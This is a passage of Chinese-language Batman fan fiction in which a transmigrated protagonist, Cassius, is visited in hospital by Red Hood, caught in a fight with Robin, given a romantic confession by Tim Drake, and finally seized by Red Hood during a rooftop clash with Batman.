迪克硬生生地停下，怒气冲冲的看着阿尔弗雷德。 “有什麽话，回家再说吧，不要说让自己后悔的话。”说罢，他又看向布鲁斯：“您也一样。” 说完，他率先向着电梯走去。 提姆进房间的时候，卡修斯已经再一次睡着了。他在卡修斯身边坐下来，看了看旁边数据平稳的监护仪器，又看向他苍白但安稳的睡颜，突然轻轻笑了一声。 他轻轻弹了卡修斯一个脑壳，对方只稍微皱了皱眉，并没有醒。 “排挤我是吧？你给我等着。” 他低声说。 在病房又待了一会儿，确定了房间的监控都在好好运转，又向医生了解了一些卡修斯目前的状况，确认他的身体状况正在好转后，提姆打算去隔壁房间小憩一会儿。晚上还要夜巡，尽管目前他的巡逻路线是围绕着卡修斯所在的医院为中心规划的，范围不算广，但也需要打起精神，以防刺客联盟的突然袭击。 等到了夜巡时间，换好制服的罗宾再一次从计算机上确认了一遍病房的监控和病床附近的诱捕陷阱，才放心的离开。 他本以为自己的防护措施已经做的够全面，但当他夜巡到距离医院最远的位置，病房的所有监控忽然失效后，他的心沉了下去。 他一边请神谕支持，调取医院附近的监控，一边马不停蹄的朝着医院的方向狂奔。 黑暗中，一个身材高大，戴着多米诺面具的男人在放出电磁干扰，准确的定点破坏掉所有有可能留下他影像的监控后，悄悄撬开卡修斯的病房门锁。 房间很黑，他的脚步走进室内时，墙根的夜灯悄悄亮起，昏暗的光亮照在了来访者的战术靴和绑着枪带的腿上。 他进房间的第一时间举枪，带着消音-器的枪管噗噗几声，击碎了房间里的监控设备。 接着，他又小心的靠近床边，绕过所有的诱捕陷阱，坐在了卡修斯的床边。 卡修斯感觉到有人来了，这具身体的防御本能让他艰难的醒转过来。 他缓缓睁眼，就看到一张带着多米诺面具的脸隐在黑暗中。 他下意识挥拳过去。 可他太虚弱了，那人轻易的接住了他的拳头。 “实验品。” 那人低低唤了声。 卡修斯的心重重跳了一下。 “你是谁？” 男人没回话，而是打开了床头的读书灯，让他的脸映在了昏暗的暖光之下。 卡修斯确定不认识对方。 “你是刺客联盟派来杀我的？”他尽量让自己的声音平稳。 对方既然没有第一时间杀死自己，看上去还挺有聊性，卡修斯就希望自己能尽可能地拖延时间，好拖到蝙蝠侠和罗宾发现自己这儿出问题了——他知道义警们一定在他附近留了严密的监控。如果这人能畅通无阻的进来，只能说明对方破坏了监控。 他的手悄悄移动，想要按响护士铃。可对方太敏锐了，一下子就抓住了他的另一只手。 男人的抓握动作碰到了卡修斯手上的血氧夹，监护仪发出短暂的不和谐的声音，但男人立刻将夹子重新夹好。 卡修斯没有再动，从刚才那个动作，他就知道这男人应该不会立刻杀他。 正当他绞尽脑汁想要说些什麽的时候，男人忽然抬手，摘掉了自己的多米诺面具。 卡修斯愣了一下，立即闭上了眼睛，生怕看清了对方的脸，马上就会被灭口。 男人用奇怪的语调问了一句：“你不认识我了？” 卡修斯等了一会儿，才慢慢睁开一只眼睛。 他看到对方正用一种强行忍耐怒意的眼神看着自己，好像只要自己敢说不认识，他就要掐死自己。 卡修斯睁开眼，呵呵假笑了一声，说：“怎麽会呢，你是那个谁嘛，那个……那个……哎，我受了伤，麻药打多了，一下子有点想不起来……” 对方怪异的笑了一声，说：“这样，你能想起来吗？” 卡修斯刚想问“哪样”？ 男人突然凑近他，没有任何征兆地吻上他的唇。 连接着他身体的心电监护仪忽然滴滴滴快速响了起来。 他震惊的瞪大了眼。 妈的你谁啊？！卡修斯在心里尖叫。 对方的舌头顶进了他的齿列，卡修斯一瞬间卡壳的脑子也艰难的运转了起来，他立即想要把对方的舌头咬下来。 他的房门被一脚踹开，跟着飞进来的是几个蝙蝠镖。 那人立即撤开，在地上滚了几圈，等抬头的时候，多米诺面具已经重新戴好。 罗宾的长棍已至。 他一眼看到了对方唇上的血迹，面具后的眼睑忍不住抖了一下。 他转头看向卡修斯，盯着他同样沾着血迹的唇，问：“他是谁？” “我……” 我也想知道啊啊啊！ 但他没来得及说完，闯入者已经打断了他。 “我是他男人，也是要你命的人。” 罗宾又看向卡修斯。 卡修斯：…… 我是不是在做梦？这是什麽中二宣言？ 第45章 我比他好。 男人的话音未落，罗宾就持棍冲了上去。 电光火石间，两人已过了数招。 卡修斯凝神观战，从他们招式的变化里，辨认出这位闯入者的身手确实有被刺客联盟训练过的痕迹。 卡修斯和罗宾并肩作战过几次，知道他的身手其实不输于任何一个罗宾，在刊物中也介绍过，他师从西瓦夫人，着实学过一些真正的杀人术。 可即便如此，他在与这个莫名的闯入者交手时，也不算占了上风。对方似乎相当熟悉他，总能轻易化解他的狠厉招式。 “你到底是谁？！”罗宾再次朝对方膝盖处狠狠挥出一棍，质问道。 对方好像非常熟悉哥谭义警们的攻击方式，他的攻击招式非常激进，在进攻时嚣张地暴露出自己身体的致命处，就像知道对方绝对不会对这些位置下死手似的。 在几十个回合之后，罗宾就意识到，对方绝对非常仔细地研究过罗宾的攻击风格。 闯入者冷笑一声，像是终于逗弄完猎物似的，说：“我说过了，我是要你命的人。” 说着，他淩空跃起，当胸踹向罗宾，后者立即将长棍横在胸前阻挡，依然被对方的力气踹得后退了几步。 闯入者落地的时候，双手从腿部的枪带中拔出了枪。 “该我了。”说着，他将枪口对准了罗宾。 这间豪华病房的空间本不算小，但仅仅几分钟的时间，里面已经一片狼藉。可无论是罗宾还是这位莫名的闯入者，居然都在刚才的打斗中小心地避开了连在卡修斯身上的各种监护仪器。 即便罗宾身手敏捷，但在有限的空间里，也很难躲避子弹的袭击。而且，卡修斯能深切感受到闯入者对罗宾的杀意。 他顾不上此刻的虚弱，立即将连在身上的各种线一把拽掉，连滚带爬地从床上翻了下来。 病床上的巨响吸引了两人的注意，闯入者看到卡修斯从床上掉了下来，立即两步跨到他面前，抓着他的肩膀将他拎起来。 “你在作什麽死？”男人怒道。 但两人以命相搏，胜负就是瞬间的事。转瞬间，罗宾拔开了自己的长棍，露出了内部的刺刀，刀刃粘贴了闯入者的脖子。 可闯入者的眼神中并无畏惧，他垂眼看了看贴着自己脖子大动脉的刀，冷笑道：“蝙蝠侠知道你在长棍中藏了这种东西吗？” 罗宾没有回答他，反问道：“塔利亚为什麽要杀卡修斯。” 卡修斯立刻捕捉到了关键信息。 什麽？是塔利亚要杀他？ 拉尔斯呢？难道真的嘎了？ 对方根本不屑回答他的问题，对罗宾挑衅道：“有种你就下手，割开我的脖子，很容易的。” 说完，他没有再看罗宾，而是问卡修斯：“你要不要跟我走？” 卡修斯心想，你是刺客联盟的人，塔利亚要杀我，你还要我跟你走。我是喝多少斤假酒才能答应？ 于是坚定的摇了摇头。 “你果然不记得我了。”对方平静的说。 卡修斯没回答。主要是他说的是事实，他也不知道怎麽反驳。 从他们打斗时，对方也避开自己身上的监护仪，卡修斯就知道，无论如何，今天这个人都不会伤害自己，所以他才故意让自己滚下来。 因为他看出来了，闯入者对着罗宾是真的会开枪。 对方显然也看出卡修斯是故意的。 “你为了帮他抓我，故意掉下来的？”闯入者用压抑着怒火的声音质问道，“你是知道我不会对你怎麽样？所以你到底是真不记得，还是移情别恋了？” 卡修斯：…… 真的绷不住了，刺客联盟中还有恋爱脑吗？ “你在口出什麽狂言？他还是个孩子！”卡修斯忍不住为自己辩白。 “我们搞在一起的时候，你也还是个孩子。”对方的狂言还在继续。 卡修斯尖叫。 “住口，不可能，那不是我！” 他才刚来这个世界三个多月，就算这具身体以前真的有风流债，也不能算在他头上。他这真的是冤，人在病房坐，锅从天上来。 卡修斯因为情绪太激动，喘出来的气都短了些，呼吸逐渐急促起来。 闯入者忍不住拍上他的后背：“行，我不说了，你别激动。” 罗宾冷眼看着面前的两人，他维持着用刀刃压着对方脖子的动作，但没有继续动作，只从两人的对话中提取关键信息。 这名闯入者应该是卡修斯这具身体本来认识的人，他不知道现在的卡修斯和曾经那个已经不是一个人了。 闯入者抬头看向罗宾，猝不及防地举起手中的枪。 卡修斯吓了一跳，立即用整个身体的重量去扑对方，企图阻止他开枪。 但对方手臂转向，调转枪口，子弹射向他们侧方所在的窗口，在玻璃的同一个点上开了好几枪。 防弹玻璃被打出蛛网似的裂痕，男人抓着卡修斯的锁骨，无视罗宾压在他脖子上的刀刃，慢慢站起来。 罗宾的刀刃跟着他的动作慢慢抬起，男人又带着卡修斯，缓缓移动到窗边。 即便知道对方不会伤害自己，卡修斯还是忍不住有些紧张。 “你可以走，但是放开他。”罗宾冷声说。 男人发出一声嗤笑。 “老子想走就走，想留就留，你算哪块小饼干，还命令起我来了？至于他……” 男人凑近卡修斯的脑袋，在他的太阳xue上落下一个吻。 “艹！” 卡修斯歪头躲了一下，感觉自己浑身的鸡皮疙瘩都起来了。 罗宾立即就要冲过来。 男人猛地将卡修斯推向罗宾。 罗宾马上将人接住。 几乎在同时，男人侧身，狠狠撞向玻璃。本来就裂成蛛网式的玻璃应声而碎，男人跟着破碎的玻璃，直接从窗口跳了下来。 “实验品，我会让你想起我的。” 男人笃定的声音回荡在他空气中。 卡修斯被罗宾半架着回到床上，年轻的义警没去窗边，他怒气冲冲的看着卡修斯，斥责道：“谁让你动的？！” “弟弟，他有枪！而且他真的会开枪！我不阻止他，难道指望你能防弹？你超人啊？” 卡修斯翻着白眼说，虽然他的声音很小，但不妨碍他的语气充满了对对方不识好人心的无语。 “我的制服能防弹！”罗宾大声说。 “那你的脸也防弹啊？”卡修斯毫不留情的嘲讽。 “我不是你弟弟！”罗宾继续说。 卡修斯正严阵以待，准备对方说一句就嘲讽一句，但万万没想到对方顶嘴的角度如此清奇，自己一下子都没反应过来。 气得他愣了半天，才怒道：“我也没有你这种不识好歹的弟弟，叫你弟弟只是对你的蔑称，听懂了吗？蔑称！臭弟弟！” 卡修斯现在虽然身体上还很柔弱，但精神上斗志满满。刚刚被一个不知道是谁的人非礼，心里正有股邪火没出发，这会儿跟罗宾吵架就当是泻火了。 说完这句，正等着罗宾继续跟他吵，没想到对方忽然不说话了。 卡修斯疑惑的看过去，惊觉不知道什麽时候，罗宾脸上的多米诺面具上，本来遮住眼睛的白色镜片不见了，那双湛蓝色的眼睛赫然映入自己的视线。 他的眼睛里有太多复杂的情绪，有愤怒，有不甘，还有一些卡修斯暂时看不明白的东西。 但是。 就算没吃过猪肉，他也还是见过猪跑的。 无数经典的爱情电影告诉他，这种对视不对劲，下一秒很可能就是少儿不宜。 而且他在不久前刚刚经历过一次的莫名其妙的强吻情景还历历在目。 卡修斯顾不上生气了，心里只剩下了害怕。 我现在浑身没啥力气，真要发生点啥，我是躲也躲不开啊！ 他迅速认怂。 “我错了，你冷静点，冲动是魔鬼！” 罗宾发出一声非常反派的笑声：“你在怕什麽？” 我还能怕什麽？当然是怕被迫犯罪！ 天呐我真的不能再这麽虚弱了，从明天起，我就要库库吃饭！一天吃八顿！等我恢复力气，谁再上嘴我就拔掉他的牙！我看谁还敢跟我演偶像剧！ 卡修斯怂怂的吞咽了一下，对着罗宾讨好的笑了笑：“我怎麽会怕你呢？” 罗宾没说话，他从腰带里拿出一根棉签，在卡修斯的唇上沾了沾，将那里还未干涸的血迹擦到棉签上，随后将棉签放入证物袋。然后他又抬起手，拇指用了些力气，在他的唇上使劲蹭了蹭，战术手套粗糙的皮面磨的他嘴唇生疼。 还行，知道取证，那就说明还没有彻底丢掉脑子。 不过他还是想说，弟弟，你现在的主要任务是少看一点偶像剧。 但他目前也不敢说出声，生怕刺激到罗宾。要知道，高中生可是特别经不起激的，别到时候因为自己嘴贱，玩脱了。 卡修斯觉得自己真的是太冤了，明明连恋爱都没有谈过，却要面对这种莫名其妙的修罗场。 帮他擦完嘴，罗宾又帮他擦太阳xue。 “呃……我还没残废……” 能自己擦。 卡修斯弱弱的为自己发声。 罗宾沉默的将卡修斯太阳xue残留的血色唇印擦掉，说：“我知道。” “哦……” 气氛有亿点点尴尬。 卡修斯绞尽脑汁，说：“那个人今晚应该不会再来了。” 罗宾说：“你不是想出院吗？明天一早就可以帮你办理，你去韦恩庄园修养，那里的安保非常严密。” 好家夥，你是装都不装了吗？ 卡修斯摇头：“算了吧。这里已经很好了，我会尽快恢复，然后回自己的住处。” 罗宾也没有坚持，他点头道：“那好，我会重新在这里和你的住处重新布控。” 这个结果已经很好了。拒绝他们在自己周围装监控是不可能的，而且卡修斯也知道，这麽做确实是为了保护他——刺客联盟的杀手都不是吃素的，他自己也没信心以一敌好几十。因此点头道：“行。” 罗宾用调用铃叫来了护士，随后就离开了房间。对方虽然对房间里的狼藉有些震惊，但依旧发挥了一个私人高端疗养医院护士的专业素养，什麽都没问，几个人十几分钟就收拾好了房间，又帮卡修斯重新连好了监护仪。 “这些东西应该用不上了，拿掉吧。”卡修斯说。 护士看了看他的病历，同样没有再坚持。 等护士们离开，罗宾才重新出现。 卡修斯隐约感受到了罗宾对自己的想法，他莫名的觉得有些不自在。谁能体会这种“我以为我们是兄弟，结果你想给我当老婆”心情啊！ “你还记得那个刺客是谁吗？”罗宾突然问。 卡修斯立刻摇头：“我真不知道。” 嗯？这对话怎麽那麽奇怪？ “我帮你调查他。” “……谢谢。”其实我也不是很想知道他是谁。 “他知道你喜欢的是布鲁斯·韦恩吗？” 卡修斯被噎了一下，瞪着他不知道说什麽好。这个话题是怎麽忽然漂移到这儿来的。 “我看他挺在意你，说不定会去找布鲁斯麻烦。” 卡修斯：…… “那赶紧让蝙蝠侠去保护布鲁斯吧！”卡修斯阴阳怪气道。 “你别喜欢布鲁斯了，他不会喜欢你的。” 卡修斯：…… 谢谢，你很会说话。 他默默在心里翻了个白眼。我喜欢他就行了，我的赛博外敷不需要喜欢我！ “但是你可以考虑一下我。” 卡修斯缓缓转过头。 他刚想说话，罗宾开口道：“我知道你的规矩，我可以等。” “等什麽？”卡修斯忍不住问。 “明年。” 卡修斯想问等明年干嘛，然后忽然想起来，明年提姆·德雷克-韦恩就满18岁了。 “我……” 我能婉拒吗？ “虽然我没他有钱，但我比他年轻，比他身材好，比他体力好。” 卡修斯：…… 哥，我现在叫你哥。别说了，你还是个孩子！ “我累了……” “那个刺客一看就有点精神不正常，你们俩不太合适。你也知道，布鲁斯最爱的是哥谭，他不会爱你的。” “我真的……” “而且他自己说过，他不年轻了，没兴趣搞这些情情爱爱的东西。” 我还能说什麽呢？只能说，你好孝顺。 “行了，我会考虑的，你行行好，赶紧走吧。”卡修斯将被单盖过脑袋，声音带了些哀求。 “好。” 罗宾应道。 他伸出右手食指和中指，轻轻碰了碰自己的唇，然后隔着被单，用两根手指碰了碰卡修斯的额头。 卡修斯屏住了呼吸。 等了一会儿，他才慢慢掀开被单，但室内只剩下他一个人。 “啊！” 他虚弱的喊了一声，又用被单盖住脑袋。 罗宾到底为什麽突然疯了啊？ 救命，那个不知名刺客的恋爱脑是通过气溶胶传染了吗？ 第46章 法外狂徒小红帽到底是谁？ 离开病房后，罗宾重新穿梭在哥谭夜色中鳞次栉比的屋顶上。 “罗宾，我注意到医院的监控有异样，报告情况。” 罗宾知道，蝙蝠侠是看到他刚从卡修斯那里出来，并且没有及时求助。否则他一定会亲自过来的。 “一个小毛贼，已经解决了。”罗宾回答道。 蝙蝠侠在通信的另一端沉默了一阵，显然对这个敷衍的回答不太满意，但出于对罗宾的信任，也没有继续再追问。 他现在正将自己的大部分精力放在追查和猫头鹰法庭相关的事上，对于夜巡事务，只能全身心地相信他的搭档以及助手。 另外，哥谭最近出现了一个新的□□头目，他几乎血洗了哥谭全部的贩d集团，重新划分了哥谭地下的黑邦势力。他肆无忌惮的处决所有他认为罪大恶极的罪犯枭首，而且每一次杀人都弄的声势浩大，像是故意在引起蝙蝠侠的注意。 所以，除了深入调查猫头鹰法庭，他把剩下的一小部分精力放在了追查这个号称自己是哥谭真正的审判者的人身上。 这人对蝙蝠侠非常了解，每次高调地杀完人，故意吸引他的注意之后，又卡在蝙蝠侠抵达现场之前，适时地遁走，消失的没有任何痕迹。有时就连蝙蝠侠也不得不承认，这个新冒出来的“审判者”算得上是蝙蝠侠遇到过的战术大师。 他称自己为“红头罩”。蝙蝠侠的监控只拍下过他的几个模糊身影——戴着红色的头盔，穿着棕色的皮夹克，腿部绑着的枪带上装备着尽可能多的枪支。他的常用座驾是一辆重型机车，当他骑着机车顶风作案的时候，常常都装备着rpg之类的重武器。 蝙蝠侠认为这个人相当了解自己，或者说，这人对自己有种莫名的敌意。他的每一个举动都像是在故意挑衅蝙蝠侠。 如果这个人不是对街区的未成年以及儿童有种近乎偏执的保护欲，他一定会将这个人的危险程度提的更高。 但现在也不逞多让——既然使用“红头罩”这个称号，就说明，小丑在他心里有特别的意义。众所周知，哥谭上一个最有名的“红头罩”就是小丑。 但这个人今晚倒是一改往常高调的作风，安静得出奇，让蝙蝠侠感到了一些违和。 于是他多问了一句：“今晚你有看到红头罩的行踪吗？” 罗宾镇定地回答：“嗯？没有。你不是让我尽量避开他麽？说他的危险级别很高。” 蝙蝠侠沉吟了一会儿，“继续保持警惕。” 说完，他就离开了通信线路。 哥谭的夜间的冷风让罗宾原本沸腾的心绪稍微宁静下来一些，他将自己的脑子分成两部分，一半在按部就班的完成既定的夜巡任务，另一半在思考刚才发生的事。 当他闯进房间，看到正在亲吻的两个人时，必须得承认，那一瞬间的愤怒几乎想要让他不顾一切地将人痛揍一顿。 卡修斯明明说自己喜欢的是布鲁斯，但为什麽他现在正在跟另一个人接吻？ 就在那个瞬间，他忽然明白了，原来不知道从什麽时候开始，卡修斯已经不知不觉的被他放在了心里。 当卡修斯说他喜欢的人是布鲁斯时，提姆没有生气或者嫉妒的情绪，那是因为，他非常清楚，卡修斯和布鲁斯之间，没有任何可能。所以，必须得承认，他有时候故意将布鲁斯推向对方，多少带了些想看好戏的戏谑心态。 但当现实中真的有这麽一个人存在，并且让他亲眼目睹两人的亲密后，提姆才终于发现了自己的内心。 可是他到底是从什麽时候起，开始对卡修斯有这种想法的？ 提姆不知道。 也许是两人第一次见面，卡修斯·希尔为了陌生的卡洛琳·希尔挺身而出的时候。 也许是卡洛琳第一次向卡修斯交托后背的时候。 也许是罗宾对卡修斯伸出手，对方毫不犹豫地将手放入自己手中时。 也许是他将卡修斯抵在墙上逼问超级小子的下落，对方毫不示弱的看向自己，并且冷静的和自己谈条件时。 也许是他被拉尔斯俘虏，卡修斯明明忌惮拉尔斯，但还是奋不顾身的来救自己时。 也许是他一人对抗几十个刺客联盟杀手的追捕，战到最后，明明已经满心绝望，但看到罗宾时，放心的让自己面带微笑地倒下时。 也许是卡洛琳·希尔和火柴·马龙一块儿进入那个酒吧，她抬眼，看到那个黑发棕眸，明明身处哥谭最混乱的地方之一，但眼神依然简单干净的混血服务生，明明在偷瞄她，被发现后不像别人那样让眼神变得更下流，而是慌张的收回视线，而且从肢体语言中竟然让卡洛琳看出来一些莫名的歉意，好像是在为他用眼神冒犯自己而感到抱歉。 情不知所起。 今晚的哥谭，没有红头罩刻意引起的混乱，还算平和。事实上，自从这个介于义警和罪犯之间的“审判者”在哥谭风生水起之后，这里的治安短暂的好了许多。因为这些帮派分子发现，新来的这个“哥谭秩序维护者”，是真的会杀人。 讽刺的是，现在。这些平时痛恨蝙蝠侠的垃圾们，居然不约而同地希望蝙蝠侠能尽快将这个新罪犯绳之以法。 夜巡结束后，提姆回到了他在韦恩大厦的顶层公寓。本来他今晚的计划是住在卡修斯所在的疗养院的，那里是韦恩医疗投资建设，股东们都有专门的房间。但他收集到闯入者的血样后，就改变了主意。他在顶层公寓搭建了简易实验中心，这里的计算机也连接着蝙蝠洞的服务器，支持更庞大的数据查询。虽然不抱什麽希望，但他还是想要通过dna的检测，查一查对方到底是什麽人。 他在交手的第一时间就看出对方就是最近在哥谭黑邦掀起腥风血雨的红头罩。 这个人熟悉蝙蝠侠的战术逻辑，也通晓罗宾的战斗风格，对哥谭的各种势力更是了如指掌。罗宾一直怀疑这个人原本就出身于哥谭，只是之前一直没拿到他的生物信息，现在既然有了揭示他身份的机会，提姆当然不愿放过。 提姆带着装有沾血棉签的证物袋走进实验区，将沾有暗褐色血迹的棉签用镊子夹起，悬停在紫外灭菌灯下观察了一会。已经凝结的血块在灯下毫无光泽。 生物安全柜的蓝光嗡鸣着亮起，他剪切棉签头丢进离心管，在注入淡粉色的裂解缓冲液。 他一丝不苟的操作着整个实验过程，等到完成所有工序，剩下的工作只有等待时，他给自己冲了一杯特浓美式，然后坐在工作台前，开始在计算机上处理这两天堆积的，关于韦恩集团的事物。 三个小时后，机器发出报告生成的提示声。提姆伸了个懒腰，喝掉最后一口咖啡，点开报告单，他的手短暂的犹豫了半秒，没有将刚生成的报告直接导入蝙蝠洞的数据库，而是打算先在自己的数据库中过一遍。 计算机屏幕开始飞速闪过一张又一张数据库中木讷的脸。正当他打算再冲一杯咖啡时，走到三分之二的数据比对进度条忽然停了，一张少年人的文件照片在屏幕上固定下来。 照片右侧的人物介绍让提姆浑身的血都冷了。 姓名：杰森·陶德 死亡时间：五年前。 DNA匹配相似度：＞99.99% 就在提姆大脑处于宕机状态时，他的通信器忽然响起急促的嗡鸣声。 这声音时阿卡姆的红色警报。 他立即接通通信，但回应他的不是蝙蝠侠也不是便士一，而是神谕。 “发生什麽事了？” 提姆调整自己的状态，快速问道。 哥谭的天色微微泛青，此刻已经是第二天的清晨，这原本是哥谭的大部分反派们销声匿迹的时刻。 “那个红头罩……” 神谕还没说完，提姆就急促地打断了他：“他怎麽了？” 提姆很少有这麽性急的时候，如果放在平时，神谕肯定会特别关注一下提姆的反常，但今天的失态实在有些严重，因此她没有第一时间注意到，只接着刚才的话说：“他突袭了阿卡姆疯人院，放走了小丑。” 提姆轻轻“啊”了一声。 神谕这才意识到他的反常。 “你是不是知道些什麽？”她谨慎的问道。 “不。没有。”提姆回答。 “提姆。”神谕加重语气叫了他一声。 “抱歉，芭布斯，有些问题我需要再核实一下，但我保证，一旦有确切的消息，一定不会隐瞒。B在调用我的线路，先挂了。” 说罢，他不等神谕回应，直接挂断了通信。接着，他看着通信中闪烁的蝙蝠标志，等了一两秒，才接起。 通信中传来蝙蝠车油门踩到最底时，无法忽视的巨大轰鸣声，蝙蝠侠还没说话，提姆就率先问道：“红头罩是劫持了小丑，还是放走了小丑？” 蝙蝠侠停顿了一下，才说：“这和你没关系，罗宾。不要试图参与任何和小丑有关的案件，我联系你也是为了再次重申这一点。” 罗宾顺从的说：“好，我知道，你需要我做什麽？” 蝙蝠侠的声音在车子发动机最大功率的噪声下显得很不太真切：“你目前最重要的任务就是看顾好卡修斯·希尔的人生安全。” “明白。你去处理阿卡姆的事，他就交给我了。”罗宾应道。 蝙蝠侠没想到罗宾这麽容易就接受了他的安排，以往阿卡姆有异动，蝙蝠侠勒令他不许参与的时候，虽然他也会遵从命令，但两人之间的沟通总不会那麽愉快。 他记住罗宾接通通信后的第一个问题，问他小丑是被劫持还是被放走，事实上，这也是他现在要赶到阿卡姆去现场确认的一件事。他没想到提姆居然这麽敏锐，所以，他绝不像通信里表现出来的那样，对小丑的案件毫无兴趣。 他应该追问提姆，为什麽要这麽问。但他不想让提姆更关心这件事了，所以才宁愿心中有所疑惑，也刻意对他回避这个话题。 提姆挂断通信，站在原地发了一会儿呆，然后销毁了刚才做的DNA对比实验的全部材料。 他看着计算机监控上，辗转反侧，根本没有睡着的卡修斯，低声自语道：“你到底是人是鬼？” 而另一边，卡修斯完全不知道在这短短几个小时里，哥谭又发生了小丑“越狱”这种大事。他在床上滚来滚去，根本静不下心来，越想越觉得就算被刺客联盟追杀，自己也得想办法先离开哥谭。尼尔帮自己做的那份身份证明还没用过，他可以低调离开哥谭，然后再使用那份身份文档。 想来无论是哥谭的义警还是刺客联盟，应该都想不到自己会只换身份不换名字的遁走。 他实在是有点不太敢面对提姆的这份感情。 只可惜，他觉得自己想的好像有点太多，自从那天罗宾向自己表白完之后，对方就开始神龙见首不见尾，不用自己刻意回避，休养的三天里，他也就见过提姆一次而已，还是白天韦恩少总外出办事，顺路来看来自己一眼。 那天晚上发生的事情就好像是自己的幻觉一样。 一个星期之后，卡修斯终于恢复的差不多了，可以出院了。他本以为接自己出院的会是提姆，但没想到来的却是阿尔弗雷德。 管家恭敬的向他道歉，说最近韦恩集团事务繁忙，提姆少爷和布鲁斯老爷都忙的脚不沾地，没有时间顾及到卡修斯，只能由他代提姆少爷来接他回去。 卡修斯当然不会介意，最多是有点失落。 他觉得提姆·得雷克有点过分，突如其来的告白，扰乱别人的心绪后，就这样拍拍屁股跑了，一点也不负责任！ 当然，也有可能他当时真的是中了邪，说完那些话后，自己也觉得有点离谱，所以这些天刻意躲避自己，不好意思见他。 卡修斯打算下次逮到提姆一定要好好跟他聊聊，自己是个成熟的大人，绝不会把小孩子心血来潮的告白放在心上，希望提姆也别介意，至少不要再躲着他。 卡修斯觉得在告白事件发生之前，他和罗宾相处的还是不错的。他在这个世界真正交到的朋友真的很少，不希望因为这样一个乌龙事件，和罗宾之间产生芥蒂。 阿尔弗雷德将卡修斯送到了他位于犯罪巷的店铺门口。 卡修斯这才发现，这里被重新装修过，橱窗的摆设被精心还原，连屋内的陈设都比原来更精致，比之前更有神秘学的味道。 阿尔弗不愧是地表最强管家啊，实名羡慕了。 卡修斯在心里赞叹道。 阿尔弗雷德看了他一眼，温和的说：“事实上最近韦恩庄园的事务也不少，这儿的一切，都是提姆少爷亲自帮忙打点的。” 这回卡修斯是真的有点惊讶了，他看着自己连外墙都被重新刷过一遍的铺面，终于还是拿出手机，率先发消息给韦恩少总。 “多谢你，有空来一趟店里吧，我亲自下厨，请你吃饭。” 过了很久，对方才回了一个“ok”的手势。 阿尔弗雷德把他送到店铺后，很快就离开了，卡修斯走进自己快半个月没有踏入的店铺，心中难免有些感慨。 当看到遇到突袭当天，从警察局搬回来的物品都好好的放在屋子里的时候，他心中的愧疚感达到了顶峰。 阿尔弗对他这麽好，可他却让提姆误入了他这条歧途，实在是有些不应该。 卡修斯眼尖的从放在地上的证物箱中，看到了一抹红色。 他立即蹲下来查看。 是那只属于卡洛琳·希尔的高跟鞋。 只不过，装着鞋子的透明袋子里还附了张纸条。 “等你自己把鞋子还我。——卡洛琳·希尔” 纸条上写着这样一串漂亮的花体英文。 卡修斯笑了笑，将纸条收入掌心。 他对高跟鞋真正的主人已经有了八九分的把握，本以为就算这些物品没有损失，出于对自己另一个马甲的保护，对方也一定会趁机带走这只鞋子。 但没想到它竟然还在这里。 现在倒是卡修斯不敢让灰姑娘去试穿了。 他将鞋子擦了擦，将它好好地摆进了自己行李箱的深处。 卡修斯很久没上网，命运纺车的在线占卜博客也很久没更新了，他打开计算机，认认真真工作了好几个小时，在回复完有价值的评论，安抚完网站的粉丝，承诺自己还会继续更新，并且立刻更新了好几篇内容之后，天色已经完全黑了。 他看了看表，已经接近淩晨。 卡修斯将吃剩的外卖盒和垃圾归拢了一下，准备出门将这些东西处理掉。 刚将东西扔进巷尾的垃圾箱，就听到头顶连续好几声砰砰砰的重物落地声。 他下意识地抬头去看，就看到视野里两抹影子在自己正上方的房顶上过了两招。 看清双方装束后，卡修斯震惊的瞪大了眼睛。 “我勒个擦哎！我只是出门倒个垃圾，居然就碰到了这历史性的一幕吗？！” 头顶上的两个人同时顿了一下。 卡修斯看到两人的视线好像同时看向了自己，他忍不住后退了一步。 “我这个小池鱼不会遭殃吧？” “离开这儿！” 蝙蝠侠一边躲过对方甩过来的匕首，一边低头对着卡修斯嘶声命令道。 在经过近一周的追踪后，他终于在今晚成功追到了红头罩的踪迹，当然，也不排除对方是故意让他发现自己的。 红头罩突袭阿卡姆，小丑跟他一起失去了踪迹。蝙蝠侠追查好几天，终于确定，他不是放走了小丑，而是劫持了小丑。 对方现在现身，很可能是要引他去小丑所在的位置，这是阳谋，但蝙蝠侠必须去。 “听到他说的了吗？赶紧滚。” 红头罩也对卡修斯冷声斥道。 蝙蝠侠眯起眼，视线在两人之间游走了一圈。还没等他细思红头罩和卡修斯之间的关系，就听到卡修斯的咆哮在自己脑内响起。 “啊啊啊！别打啦别打啦！合家欢爱好者真的看不得这个！外敷！那是咱们的好二儿杰森啊！” “你说什麽？！” “谁是你外敷？！……呸！你他妈不是忘了我吗？” 两声怒吼同时响起。 卡修斯惊恐的瞪大眼睛：！我说话了吗？ 第47章 这个世界对我的恶意也太了吧？ 蝙蝠侠和红头罩之间原本剑拔弩张的气氛诡异地暂停。两人站在屋顶，低头看着底下巷子里的人。卡修斯仰着头，微张着嘴，也呆呆地和他们对视。 他在脑子里疯狂回忆，难道自己刚才真的说出声了？不应该啊，他这麽谨慎的人，怎麽会犯这麽愚蠢的错误？ 但现在看两个人的反应，明显是刚才听到自己“说话”了。 “你们继续？我只是一般路过……” 不管自己刚才到底有没有一时大意说漏了嘴，此刻这里绝不是久留之地，卡修斯抑制住自己吃瓜的冲动，打算自行圆润离开。 但红头罩先动了起来。 他放弃了原定的诱敌路线，直接从屋顶跳下来，冲向卡修斯。蝙蝠侠立即射出磁力绳索，目标直指红头罩的脚腕。 可红头罩像是预料到他的动作似的，在他射出绳索的瞬间就抽出腰间的匕首，又在绳索刚刚缠上自己脚腕一圈的时候直接扬起匕首挑断。 蝙蝠侠身上所有的装备都经过卢修斯的特殊处理，就像这副弹力绳索，一般的利刃根本无法割断它。但红头罩有备而来，蝙蝠绳索在他的匕首之下像是比普通的麻绳还要脆弱。 卡修斯一看到红头罩朝他冲过来的动作，立即意识到不妙。虽然不知道他为什麽忽然改变了目标，但不影响他毫不犹豫地转头就跑。 可惜他跑得不够快，红头罩也射出了与蝙蝠侠如出一辙的弹力绳索。绳索迅速绕上卡修斯的双脚，又在惯性的作用下让他猝不及防地往前倒去。 眼看他的脸就要和地面来个亲密接触，红头罩从后面拎住卡修斯的领子，将人拽到自己怀里。 这简直是飞来横祸啊！红头罩现在这种疯癫的状态，就知道他脑子里的拉撒路池水还没控干净。卡修斯刚才看到他的瞬间就想给提姆打电话，让他暂时别回哥谭——之前阿尔弗雷德告诉他，提姆正在纽约出长差。 